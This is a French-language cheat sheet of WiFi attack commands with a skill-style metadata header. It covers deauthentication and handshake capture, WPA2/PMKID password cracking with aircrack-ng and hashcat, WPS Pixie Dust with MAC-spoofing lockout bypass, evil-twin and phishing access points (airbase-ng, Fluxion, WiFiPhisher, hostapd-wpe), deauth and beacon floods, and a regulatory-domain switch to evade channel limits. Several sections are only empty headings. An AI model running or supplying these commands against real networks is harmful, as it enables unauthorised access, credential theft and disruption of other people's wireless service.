| name | wifi-hacking |
| description | WiFi Hacking — WPA2/WPA3, PMKID, KRACK, WPS Pixie, WPA2-Enterprise, Evil Twin, airebase, et outils de pentest sans-fil complets |
| tags | ["wifi","wireless","WPA2","WPA3","PMKID","KRACK","evil-twin","aircrack","hacking"] |
| version | 1 |
WiFi Hacking
Guide complet de pentest et sécurité WiFi — de la capture de paquets à l'exploitation de réseaux sans-fil (2.4/5/6 GHz).
1. Préparation
Matériel
lsusb
lsusb -t | grep -E "Network|Wireless"
iw list | grep "Supported interface modes"
Mode Monitor
ip link set wlan0 down
iw dev wlan0 set type monitor
ip link set wlan0 up
airmon-ng check kill
airmon-ng start wlan0
iwconfig
iw dev wlan0mon info
Outils
aircrack-ng-1.7
reaver-1.6.6
hashcat-6.2.6
hcxdumptool
hcxpcapngtool
bully
2. Reconnaissance
airodump-ng wlan0mon
airodump-ng wlan0mon --band a
airodump-ng wlan0mon --band abg
airodump-ng wlan0mon -c 6
3. WPA2 Handshake Capture
Passive (attente)
airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon
Active (déauthentification)
aireplay-ng -0 5 -a AA:BB:CC:DD:EE:FF -c 11:22:33:44:55:66 wlan0mon
aireplay-ng -0 5 -a AA:BB:CC:DD:EE:FF wlan0mon
hcxdumptool -o capture.pcapng -i wlan0mon --enable_status=15
Vérifier le handshake
airodump-ng -r capture-01.cap
cowpatty -r capture-01.cap -s ESSID -c
4. WPA2 Cracking
Aircrack-ng
aircrack-ng -w wordlist.txt -b AA:BB:CC:DD:EE:FF capture-01.cap
aircrack-ng -w base.txt -r rules.txt capture-01.cap
Hashcat (GPU)
cap2hccapx capture-01.cap capture.hccapx
aircrack-ng capture-01.cap -J capture
hashcat -m 2200 capture.hccapx wordlist.txt
hashcat -m 2200 capture.hccapx wordlist.txt -r rules/best64.rule
hcxpcaptool -z capture.22000 capture.pcapng
hashcat -m 22000 capture.22000 wordlist.txt
PMKID Attack
hcxdumptool -o capture.pcapng -i wlan0mon --enable_status=1
hcxpcaptool -z capture.22000 capture.pcapng
hashcat -m 22000 capture.22000 wordlist.txt
5. WPA3 Attack
WPA3 Personal (SAE)
WPA3-Enterprise (SuiteB 192-bit)
6. WPS Attack
Pixie Dust
reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -vvv -K 1
bully -b AA:BB:CC:DD:EE:FF -d 3 -v 3 wlan0mon
pixiewps --e-hash1=... --e-hash2=... --e-nonce=... --bssid=... --authkey=...
reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -p 12345678
WPS Lockout bypass
macchanger -m 00:11:22:33:44:55 wlan0mon
7. Evil Twin Attack
Avec Airbase-ng
airbase-ng -e "FreeWiFi" -c 6 wlan0mon
ifconfig at0 up
ifconfig at0 192.168.1.1/24
iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
iptables -A FORWARD -i eth0 -o at0 -m state --state RELATED,ESTABLISHED -j ACCEPT
iptables -A FORWARD -i at0 -o eth0 -j ACCEPT
dnsmasq -C dnsmasq.conf -d
Avec Fluxion (automated)
git clone https://github.com/FluxionNetwork/fluxion
cd fluxion
./fluxion.sh
Avec WiFiPhisher (automated)
git clone https://github.com/wifiphisher/wifiphisher
8. WPA2-Enterprise Attacks
RADIUS Cracking
asleap -r capture.pcap -f wordlist.txt -n hashes.dat
FreeRADIUS MITM
HostAPd-WPE
hostapd-wpe /etc/hostapd-wpe/hostapd-wpe.conf
9. KRACK Attack (CVE-2017-13077 à 13088)
10. Beacon Flood & Deauth
Beacon Flood
mdk3 wlan0mon b -c 6 -n "FakeSSID" -t AA:BB:CC:DD:EE:FF -s 1000
mdk4 wlan0mon b -c 6 -n "FakeNet" -t AA:BB:CC:DD:EE:FF -s 1000
Deauth Flood
mdk4 wlan0mon d -B AA:BB:CC:DD:EE:FF -s 1000
aireplay-ng -0 0 -a AA:BB:CC:DD:EE:FF wlan0mon
11. WPA2 Enterprise RADIUS Cracking
EAPOL Analysis
eapmd5pass -r capture.pcap -w wordlist.txt
12. 5GHz & 6GHz (WiFi 6E)
iw reg set BO
iw dev wlan0 set channel 149 HT20
13. WIDS/WIPS Evasion
14. Tools Compendium
| Outil | Usage | Commande clé |
|---|
| Aircrack-ng | Suite complète | aircrack-ng -w wordlist capture.cap |
| Airodump-ng | Capture paquets | airodump-ng -c 6 -w out wlan0mon |
| Aireplay-ng | Injection | aireplay-ng -0 5 -a BSSID wlan0mon |
| Airmon-ng | Monitor mode | airmon-ng start wlan0 |
| Reaver | WPS attack | reaver -i wlan0mon -b BSSID -vv |
| Bully | WPS attack | bully -b BSSID wlan0mon |
| Pixiewps | Pixie Dust calc | pixiewps --pke=... |
| hcxdumptool | PMKID capture | hcxdumptool -o out.pcapng -i wlan0mon |
| Hashcat | GPU cracking | hashcat -m 22000 capture.22000 wordlist.txt |
| MDK3/4 | Flood attacks | mdk4 wlan0mon d -B BSSID |
| HostAPd-WPE | Enterprise AP | hostapd-wpe hostapd-wpe.conf |
| Fluxion | Evil Twin auto | ./fluxion.sh |
| WiFiPhisher | Phishing auto | ./wifiphisher |
| Kismet | IDS sniffer | kismet -c wlan0mon |
15. Ressources